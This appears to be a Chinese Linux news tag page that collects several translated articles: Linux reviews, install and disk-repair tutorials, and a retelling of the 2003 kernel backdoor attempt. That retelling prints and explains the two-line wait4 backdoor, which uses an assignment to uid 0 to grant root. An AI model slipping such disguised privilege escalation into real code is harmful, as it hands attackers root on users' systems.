标签 Linux 下的文章

最近Josh写了一篇文章,讲述2006年Debian Linux中出现的一系列安全bug,探讨了这些所谓bug是否是NSA植入的后门。(最后他作出结论:可能不是)

今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确,的确有人想植入后门,只是我们不知道此人是谁,而且,也许永远都不会知道了。

时间回到2003年,当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改,就必须经过一套严格的审核过程,以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明,说明当中都包括了一个记录相应审核过程的链接。

但是有些人不喜欢BitKeeper,于是这些开发者们就用另一套叫做CVS的系统(译注:Linus一直拒绝使用CVS,后来不得已使用了BitKeeper,并在因某些原因BitKeeper不再让开源社区免费使用后,花了不到一个月的时间自己开发了GIT的原型,并且投入了使用),维护了一份Linux源代码的拷贝,这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。

但是在2003年11月5日的时候,Larry McVoy发现,CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示,这一处改动由陌生人添加,而且从未经过审核,不仅如此,在BitKeeper仓库的主拷贝中,这一处改动竟然压根就不存在。经过进一步调查后,可以明确,显然有人入侵了CVS的服务器并植入了此处改动。

神秘人物究竟做了哪些改动?这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数,程序可以使用该函数进行挂起操作,以等待某些事件的触发。神秘人物添加的,就是下面这两行代码:

if ((options == (\_\_WCLONE|\_\_WALL)) && (current->uid = 0))

retval = -EINVAL;

[有C语言编程经验的人也许会问:这两行代码有什么特别的?请接着往下看]

猛地一看,好像这两行代码就是一段正常的错误校验代码,当wait4函数被某种文档中禁止的方式调用时,wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题,注意看在第一行末尾,“= 0”应该是“== 0”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0,而“= 0”不但无法判断,反而修改了用户ID的值,即,将其值赋值为0

将用户ID设置为0,这是一个很严重的问题,因为ID为0的用户正是“root”,而root账户可以在系统中做任何事情,包括访问所有数据、修改任意代码的行为,能够危及到整个系统各个部分的安全。因此,这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说,这就是一个典型的后门。

客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。

但是它终究还是失败了,因为Linux小组有足够强的责任心,注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。

这是NSA干的吗?只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么,到底是谁呢?除非某些人主动承认,又或者发现新的确凿证据,否则,我们将永远不会知道。

via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

同学们好~

除了完成日常工作,有时需要测试或使用某一个Linux发行版的时候,我们通常使用虚拟机,但这并不是最好的解决方案,你们是否听过Linux迷你电脑Utilite呢?

对于正在寻找一款Linux迷你电脑,同时却囊中羞涩的同学来说,Utilite是一个非常棒的选择。这款设备由Compulab研发,Compulab同时还是MintBox的制造商。Mintbox就是一款运行Linux Mint操作系统的小型电脑盒子。基于ARM的Utilite售价仅为99美刀,性价比出色!

Utilite标准版配置为2G内存4G存储容量,支持micro-SD扩展卡。支持搭载Ubuntu或Android系统。如果你愿意,还可以购买升级版,双核处理器2G内存8G存储 以及micro-SD扩展卡支持。这款设备是该公司第一款基于ARM架构的产品,采用Freescale的i.MX6系列处理器。在我看来,如果买不起昂贵的硬件,这是运行Ubuntu和其他GNU/Linux操作系统的最佳方法。

Utilite有单核、双核、四核多个处理器方案,支持HDMI+DVI双接口,2倍Gbe千兆以太网,支持WiFi和蓝牙。除了标准版和升级版,Utilite还提供了专业版,配备四核处理器、2G内存、32G存储,下面是专业版的配置:

  • micro-SD card
  • HDMI + DVI
  • 2x GbE
  • WiFi
  • Bluetooth

如配置中所示,这款迷你电脑还支持2个千兆以太网,PDIF音频输出、立体声音频插孔和RS232系列端口。Utilite的另一个巨大优势是耗电量非常低,只有3-8瓦。

各位屌丝,买不起土豪金,要不来一个Utilite试试~?玩好了还可以推荐给你的女神哦~!

via: http://www.unixmen.com/utilite-linux-mini-pc/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

经过2周左右的测试,Arch Linux开发者们今天早些时候(10月7日)在稳定频道发布了GNOME3.10桌面环境,用户们终于可以升级他们已经使用了6个月之久的GNOME 3.8了。

作为其中一名用户,我非常高兴在我的Arch Linux机子上进行了一次纯粹的GNOME 3.10体验。同时,我可以非常骄傲的说,GNOME 3.10桌面环境运行得非常好,而且界面美观,就像期待中的一样棒!

首先我想提醒大家,早在上个月9月25号,GNOME项目组就已经宣告发布了3.10版的,这些天来,我一直对发布公告中介绍的新特性充满兴奋与期待。

如果你也正在使用Arch Linux与GNOME作为你的主要桌面环境,那么现在你只需要在终端中输入命令“sudo pacman -Syu”,就可以将GNOME更新至3.10版本。别忘了重启电脑后,更新才能生效哦~

这也是我使用Arch Linux操作系统以来经历的最大一次更新,下载了总共300MB左右的更新包,安装后体积超过了1.1GB。

上面的截图,就是之前报道中我们所期待的的新特性与新功能,我可以拍胸脯告诉你,它们运行起来感觉棒极了!

当我重启完电脑,我立刻就注意到了登录管理器的一个新效果,还有风格相统一的状态栏,看起来令人惊喜而且很好上手。在登录按钮旁边有一个像轮子一样的按钮,如果你有多个桌面环境,点击它可以在各个桌面环境之间进行切换。

我必须承认,桌面加载以后,我是稍有一点失望的,因为我已经习惯了酷拽炫的GNOME桌面环境,但我之前安装的GNOME扩展却不见了。一开始,我认为是更新进程使其失效了,但经过一阵研究后,我才意识到,是因为之前的扩展插件无法与GNOME 3.10相匹配。

因此,我打开火狐浏览器,来到GNOME扩展页面,更新升级了其中最重要的一部分,然后用第三方主题对我的GNOME进行了美化。没办法~我就是要我的GNOME够酷够拽够炫!

如果是单纯的升级到GNOME 3.10,默认并不会安装一起新发布的应用程序。我必须从Arch Linux的软件仓库中手动安装它们。不幸的是,我并没有看到那些传说中的GNOME应用软件,或许过几天他们才会添加进来。

另一个有趣的东西是,我注意到当我在桌面点击右键的时候,出现了一个“打开终端”的新功能,如果你像我一样在工作中经常用到终端,你一定也会觉得这是一个非常方便的改进。

还等什么,赶快拿起电话订购吧......额不,赶快下载GNOME 3.10体验吧~

via: http://news.softpedia.com/news/First-Look-at-GNOME-3-10-on-Arch-Linux-389114.shtml

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

Semplice 是一个基于Debian GNU/Linux项目的Linux发行版,基于Debian不稳定分支构建。开发者使用不稳定仓库中的软件包,并通过一个自定义图形界面安装程序将这些软件包加以整合。项目官网介绍说该Semplice不但支持加密LVM卷,而且整合了Openbox窗口管理器,并始终专注于更加快速、轻便的资源,“简约不简单”。该发行版目前支持32位、64位ISO镜像下载,体积大概620MB左右。

从LiveCD启动后,可以看到一个图形界面窗口,它包括3个标签页,分别用来设置键盘布局、系统语言和所在时区。确认上述设置正确无误后,关闭窗口,就可以看到Openbox界面那明亮的蓝色背景了。在显示器底部我们发现了一个任务切换界面和一个系统托盘。点击鼠标右键可以呼出程序菜单,菜单顶部其中一项就是系统安装程序的入口。

Semplice Linux 5 —— 访问项目官网(截图大小398KB,分辨率1280x960)

Semplice的系统安装程序同样为图形化界面。程序界面友好,引导步骤也比较清晰。首先,程序会让我们确认首选的语言、键盘和时区,然后会询问是否要检测安装程序有无更新,我很负责任的选择了“是”,它竟然真的联网找到了自己的新版本,于是,我又下载更新,安装程序自动重启执行更新(……作者你是话唠吗?)接下来,程序要求我们创建一个用户账户,同时,提供了是否激活root账户的选项。Semplice默认是将第一个用户账户作为sudo管理员同时禁用root账户的。尽管如此,我们仍然可以激活root账户再给它设置一个密码。然后,来到磁盘分区界面,程序自动帮我们完成了一套分区建议,当然,你也可以选择自己手动分区。

这里我发现手动分区会有点尴尬,主要是由于屏幕的布局。另外,我还发现当我尝试建立LVM卷的时候,程序却并不允许,一个对话框会让我输入卷的名称,但是它的“OK”按钮却无法点击,着实让人纳闷。文件系统还是传统的几个,ext2/3/4和ReiserFS,分区之后,它会询问是否要安装GRUB,以上步骤都完成后,最后一步需要我们选择是否开启一些功能与服务,然后就开始正式安装了。安装的同时,安装程序会询问我们是否需要一些额外的工具,例如蓝牙支持、打印机、生产套件、桌面特效、Web应用以及专有软件包,如果你选择需要,程序就会自动将它们拷贝至本地磁盘。整个安装过程只需要几分钟,安装完毕后,需要重启电脑。

除了基本所需的文本编辑器、计算器、图像浏览、文件管理与档案管理外,Semplice Linux发行版还预装了很多有用的软件,例如Chromium浏览器、Claws Mail邮件客户端、XChat IRC以及Pidgin等聊天软件。另外,下载软件有gFTP和uGet,文档处理有GNU Paint、AbiWord、Gnumeric,娱乐播放有MPlayer、Exaile,刻录工具有xfburn,游戏子菜单下还有一个Tetris。

程序菜单中还有许多有用的配置工具,通过这些工具用户可以对网络设置、系统服务、用户账户等进行轻松配置。同时,系统还提供了程序对Openbox窗口管理器进行管理。在Web应用部分,用户可以以最简方式打开一个web浏览器,用来访问Twitter和Facebook。系统还提供了前往Semplice项目官网的快捷方式。通过深度挖掘,我发现Semplice具有一整套完备的多媒体编码解码器和Adobe Flash插件。系统默认采用的是安全shell服务(OpenSSH)。我还发现系统预装了GNU编译工具集。而在内核方面,Semplice采用3.10版本,能够保证以上各个工具软件正常运行。

Semplice Linux 5 —— 运行各种桌面程序(截图大小241KB,分辨率1280x960)

使用Semplice工作的过程中我也遇到了一些小问题。比如,当我在虚拟终端运行“top”进程监视器的时候,窗口顶端的系统统计信息会无故消失,稍微折腾了一番,我发现原来是因为虚拟终端的颜色配置导致了文字不可见。但是当我修改主题颜色一段时间以后,下一次我再打开一个终端,主题颜色又回到了以前的默认值。如此反复,每次关闭终端后,我的设置总会丢失。丢失设置的另一个表现是,之前安装过程中配置好的一些服务也失效了,包括蓝牙、打印机支持、Web应用和其他一些项目。

当时我告诉安装程序不要安装蓝牙和打印软件,但是后来我在服务管理器里还是看到了它俩在活蹦乱跳地运行着。

第三个奇怪的问题是,当我尝试连接SSH服务的时候,总是被告知连接丢失被重置,很快我发现问题原因是由于系统根本就木有生成OpenSSH所需的主机密钥。当我手动生成这些密钥后,就可以使用安全Shell服务了。

新立德(Synaptic)作为通用软件包管理器负责Semplice发行版软件包的管理与更新。通常功能强大的软件包管理器难以兼顾漂亮的外观,但新立德做到了。它允许用户创建一系列行为动作,并且执行迅速,执行的同时还能显示详细的细节信息。Linux发行版一般会从一些不同的软件仓库获取软件,Semplice默认是从Debian的不稳定分支仓库以及其他一些Semplice的自定义仓库中获取。当我初次安装好Semplice的时候,就有137个更新等着我下载安装,体积总共达到了135MB。一周下来,我总共安装了超过200个更新,体积超过200MB。Semplice不愧是基于Debian的不稳定分支,不但更新速度超快,而且采用的都是快速更新的前沿软件包。

Semplice Linux 5 —— 管理软件包与服务(截图大小299KB,分辨率1280x960)

我尝试在我的台式机上运行Semplice Linux(CPU双核2.8GHz,内存6G,Radeon显卡,Realtek网卡),然而不管我如何修改内核参数,都无法在实体机上运行,但是在VirtualBox虚拟机上却运行的很好。在VirtualBox里,Semplice启动快速,反应灵敏而且整个测试过程都非常稳定。Semplice所需的配置内存相当低,只需要130MB。

整个Semplice体验过程一个词概括:还行(Okay)。这既不是认可也不是否定。总体上讲,Semplice表现还是不错的,它提供了很多优秀的软件,而且我认为它的安装程序比Debian的要漂亮,至少在桌面系统上如此。Semplice的管理员工具很实用,除此以外,通过访问Debian的软件仓库,它还提供了海量软件包供普通用户选用。该发行版紧跟前沿,不喜欢总是下载更新的用户可能会比较介意,但是同时这也意味着它为我们提供了不断尝试新鲜事物的机会。以上是好的方面。不好的方面,在我测试的过程中也出现了一些问题,例如,安装程序并未采纳我对系统服务的一些配置,我也无法使用加密LVM卷。

还有其他一些小问题,像虚拟终端丢失设置等等。另外,我始终禁不住会想,Semplice为何不用LXDE代替Openbox作为图形接口呢?我并不是对Openbox有什么偏见,但LXDE可以提供更美观、常见的图形接口,特别是对于新手用户,就好像在家里面对自己熟悉的环境一样。另一个问题是,Semplice无法在我的实体机上运行,也许我的情况是个案,反过来可能别人运行不了的系统我的电脑却可以运行,我也并不想以此对Semplice吹毛求疵,但是,其他Debian类的系统例如Ubuntu和Debian版的Mint,都可以在我的机子上流畅运行,因此,当发现Semplice运行不了时候,我当时还是有些惊讶的。最后一个问题,OpenSSH运行时,没有自动生成主机密钥,导致安全Shell连接丢失,虽说手动生成新的主机密钥只是小事一桩,但如果它启动的时候就能自动完成这些工作岂不是更好。

总结一下,对于Semplice,我“爱的初体验”看起来还是比较美好的,它为简约Debian做出了不少改进(至少对于台式机/笔记本用户),默认所选择的软件也都不错。尽管如此,它还是有一些毛边儿略显粗糙。也许这不算什么,因为没有什么能吓住我们Linux系统测试员,但我还是衷心希望不久的将来,Semplice的新版本能改善上面那些问题。

via: http://distrowatch.com/weekly.php?issue=20131007

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

之前的一些文章中我们已经讨论过CinnamonNemo文件管理器)是什么,但是如果你仍然不了解,请读下文:

Cinnamon是由Linux Mint团队最初为Linux Mint开发的一款桌面环境。它提供给用户一个更舒适和现代化的体验。

如果你和我一样很喜欢Unity(Ubuntu默认桌面)。我建议你尝试一下Cinnamon。安装Cinnamon不意味着你淘汰Unity,绝不是。

最新版本的Cinnamon 1.8在Ubuntu仓库尚未公布,因此我们要感谢PPA。

Cinnamon1.8包含了这些新功能,包括 Screensaver(屏幕保护程序),Cinnamon Control Center(Cinnamon控制中心)等等.

安装Cinnamon

打开终端输入以下命令:

$ sudo add-apt-repository ppa:gwendal-lebihan-dev/cinnamon-stable

$ sudo apt-get update

$ sudo apt-get install cinnamon nemo

安装Cinnamon和Nemo文件管理器成功后,注销或重启你的系统。

点击你 用户名右上角Ubuntu 图标。你应该能看到 Cinnamon 和其他桌面环境。

选择 Cinnamon 并登录。

你就有了这样一个桌面。

查看已打开菜单的Cinnamon 1.8桌面

via: http://www.unixmen.com/install-cinnamon-1-8-ubuntu-13-04/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:Vito 校对:Caroline

我们时不时需要帮助我们的朋友、家人、熟人、商业伙伴或者其他杂七杂八的人摆脱使用Windows的时候遇到的困境。尽管我们不像他们一样日常遇到各种问题,却经常是在他们有难的时候会求助的人。此外,甚至我们自己的Windows分区/驱动器也会出现问题(毕竟,有时候我们还是需要玩儿会儿游戏,而且,尽管Steam在努力,但Linux还不是游戏玩家的梦想之地),但愿不会如此。下面让我们看一两个我们可能会遇到的状况,那时我们可以用手边的Linux环境和一些NTFS分区恢复工具来修复它们。

简单修复

Windows 系统通常能很好的处理异常的“冷重启”(断电,关闭插线板的电源,或家里的小人儿手指随意按导致关机)。事实上,至今为止,最有效的修复Windows桌面问题的方法就是简单的重启系统。但是,Windows分区偶尔会显示系统需要进行驱动器一致性检测。不这么做的话,在几次重启后可能会引起文件系统状况恶化而使系统变得更糟。众所周知,Windows文件系统检查超级慢,而且经常不得不做好几次才能清理掉文件系统的“脏(dirty)”标志。

下面介绍一个叫“ntfsfix”的小工具,在基于Debian的系统(如 Ubuntu)可以通过下面的命令下载:

sudo apt-get install ntfsfix

或者在基于RPM的系统(如 Red Hat 或 CentOS)中通过下面的命令下载:

sudo yum install ntfsfix

这个‘ntfsfix’工具能快速的修复常见的错误以及NTFS分区不一致的问题。最常用的命令不用带任何参数。 它也可以报出来那些没有修复掉的项,然后我们能通过以下选项来修复它们:

  • -b: 清除磁盘上的坏的扇区 (可以在从一个旧磁盘往新的磁盘上克隆之后使用)
  • -d: 清除“脏”标志。“脏”标志是Linux不能挂载一个Windows分区的最常见的原因,通常发生在Windows断电前没有正常关机的情况。
  • -n: 除了在标准输出上显示它要完成的(换句话说,就是需要修复哪些)之外不做任何事。

过去Windows在启动前,用NTFS Disk Check来重置“脏”标志,常常要花几个小时。而‘ntfsfix’完成这个仅仅只需要大约三秒的时。

深度修复

不幸的是, 并非所有的问题都能被快速修复。事实上,有非常多的昂贵的磁盘恢复软件(通常属于“磁盘取证”类的软件,因为是在筛选损坏磁盘的时候调查人员使用的)用来修复那些加电但不能启动或者不能访问文件系统的磁盘。

有一个神奇的工具,免费而强大(而且如果在你本地电脑使用的话,可以放到一个可引导的救援Live CD里面)可以用来恢复你的Windows NTFS分区(而且,也能恢复EXT2/3/4,FAT/FAT32、exFAT、HFS和SunFS文件系统)。这个工具叫做TestDisk,在Debian和CentOS 的软件仓库中可用。Red Hat的软件仓库中并没有这个软件,但是安装它很容易。

sudo apt-get install testdisk

在基于 RPM 的系统(如 Red Hat 或 CentOS):

sudo yum install testdisk

这个工具简直无与伦比。如果驱动器加电并且运转了,甚至当驱动器有物理损坏时,这个小工具仍会奇迹般的取出一些文件来。 你可以通过一个旧式风格的命令“sudo testdisk /dev/sdX”来启动它,这里‘X’是你的驱动器号,之后你会看到下面的界面:

TestDisk在终端中运行

这个工具使用起来很简单,只需要根据菜单提示进行操作,而且它是交互式的。它会扫描你指定的某个分区,然后把重建的目录和文件显示出来,然后你可以标记,并存到另外一磁盘或者分区里面。我已经成功地从Windows,OSX和linux分区里面恢复过文件,这些分区要么因为这种或那种原因不能启动,要么害怕启动之后可能彻底完蛋,总之,这些分区用不了多久就会彻底完蛋了。

说句实在的,你不能期望文件系统100%的恢复,尤其是你的驱动器已经有损坏了,不过至少聊胜于无吧,而且不用像去请专业人员处理那样花很多钱(实际上一分也不用花)。所以如果你的驱动器现在有问题了,那你可以用下这个工具。

结束语

当你使用Linux的时候,磁盘修复要容易得多,当然也便宜的多,要么用USB转接器连接有问题的磁盘,要么从一个LiveCD启动,然后用CD里面的修复工具。本文中我们谈到的所有的工具都是免费使用,而且是在持续开发(更新)中。您可以在下面留言,谈一下你曾经不得不使用什么工具来从您磁盘的问题中恢复。

via: http://blog.linuxacademy.com/linux/ntfs-partition-repair-and-recovery-in-linux/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:younel0925 校对:jasminepeng